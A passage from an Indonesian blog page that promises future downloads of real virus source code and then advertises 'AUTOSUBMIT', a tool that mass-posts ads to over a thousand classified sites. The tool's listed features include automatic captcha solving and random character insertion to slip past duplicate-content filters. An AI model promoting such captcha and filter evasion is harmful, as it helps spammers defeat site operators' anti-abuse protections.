Dua program di atas hanyalah contoh penggalan program virus sederhana, untuk source code program virus sungguhan yang terbuat dari bahasa pemrograman C atupun C++ akan kami sajikan nantinya di ideelok.com. Tapi sekedar informasi saja buat Anda, bukan hanya virus yang dibuatnya dengan bahasa C/C++ saja, tetapi akan ada banyak source code program virus dari berbagai bahasa pemrograman yang akan kami sajikan di ideelok.com. Yang benar-benar sudah beredar dan mungkin pernah menjangkiti komputer Anda. Mulai dari yang terbaru maupun yang lama, yang terkenal dan menggemparkan maupun tidak. Source code dan teknik pemrogramannya akan Anda dapatkan di sini untuk dipelajari agar bisa menjadi info untuk buat anti-nya. Tunggu saja, sering-sering pantau dan kunjungi saja website ini, untuk dapatkan ratusan source code virus tinggal download dari berbagai bahasa pemrograman, yakni: bahasa mesin, C, C++, Visual Basic, dan lainnya.

Software Yang Dapat Mengirim Iklan Secara Otomatis

Cara Mudah Membangun Usaha Tour & Travel
Salah satu cara untuk mengembangkan bisnis di internet adalah melalui media iklan baris online. Dengan menggunakan jasa iklan baris online, kita benar-benar tidak perlu lagi menggaji salesman untuk mempromosikan bisnis, bahkan tidak perlu juga mengeluarkan biaya untuk memasang iklan melalui publisher. Namun selain itu kita juga perlu memperhatikan teknik yang digunakan ketika berpromosi dengan iklan baris. Pertimbangan yang kita lakukan bukan hanya sekedar efisiensi biaya, tapi waktu juga harus diperhitungkan, mengingat masih banyak pebisnis online masih saja menggunakan cara konvensional dengan melakukan submit iklan satu per satu secara manual dalam beriklan melalui situs iklan baris. Mari kita tinggalkan dengan cara yang melelahkan tersebut. Mulailah submit iklan dengan menggunakan software untuk membantu pekerjaan anda. Software yang dimaksud adalah SOFTWARE AUTOSUBMIT. Dengan software ini kita benar-benar bisa leluasa, yang paling utama dilakukan hanyalah cukup mengedit contet iklan saja dan pekerjaan kitapun selesai karena sisa pekerjaan sudah di lanjutkan oleh software pintar ini.
SOFTWARE AUTOSUBMIT ini akan mengirim iklan anda secara otomatis ke 1232 situs iklan baris indonesia sekaligus. Dengan software AutoSubmit anda tidak perlu repot harus mengunjungi website iklan baris satu persatu untuk memasang iklan anda. Aplikasi ini dapat digunakan untuk mengirim iklan ke ratusan website iklan baris hanya dengan sekali klik, tidak perlu repot, cukup luangkan sedikit waktu anda untuk mempromosikan produk dan jasa anda. Iklan anda tersebut akan terpasang di web iklan baris selamanya dan gratis.
Fitur-fitur yang ditawarkan Autosubmit adalah sebagai berikut
:
  • Fitur Captcha Characters Recognizer, yang dapat mengenali karakter yang terdapat dalam captcha, sehingga untuk situs situs iklan baris yang captchanya dapat dikenali oleh program, anda tidak perlu menginput kode captcha nya lagi karena sudah otomatis diinputkan oleh program. Dari 1232 situs iklan baris yang dapat di submit oleh program autosubmit, 1069 diantaranya anda sudah tidak perlu menjawab pertanyaan captcha kode lagi, karena program autosubmit sudah dapat mengenali karakter di captcha kode tersebut.
  • Fitur Random Characters Insertion, yang jika anda aktifkan, otomatis menambahkan beberapa karakter random yang tidak akan mengubah arti dari iklan anda pada bagian judul dan isi iklan anda, sehingga dapat menghindari filter duplicate content pada sebagian situs situs iklan baris yang tidak memperbolehkan ada lebih dari 1 iklan baris dengan isi yang sama.
  • Bisa menentukan kapan iklan anda kadaluarsa (expire) untuk pemasangan pada situs situs iklan baris yg mensupport tanggal kadaluarsa iklan.
  • Data iklan anda tersimpan di server autosubmit, sehingga walaupun komputer anda habis di format ulang, atau anda sedang tidak menggunakan komputer anda. Data iklan anda yg sudah anda definisikan tetap muncul pada saat anda login ke account anda di program autosubmit, tanpa perlu anda mengetikkan ulang.
  • Proses pemasangan iklan secara multithread/simultan.
  • Report gagal / sukses disertai dengan tampilan preview halaman website situs iklan baris pada saat pemasangan iklan gagal/sukses di lakukan di situs iklan baris tsb.
  • Tampilan dalam bahasa Indonesia.
Dapatkan software autosubmit dengan mengklik link ini SOFTWARE AUTOSUBMIT.

 
Support : Creating Website | JGA | Radarjember.Com
Copyright © 2011. RAngkuman Berita Terbaru - All Rights Reserved
Template Created by Creating Website Published by Radarjember.Com
Proudly powered by Blogger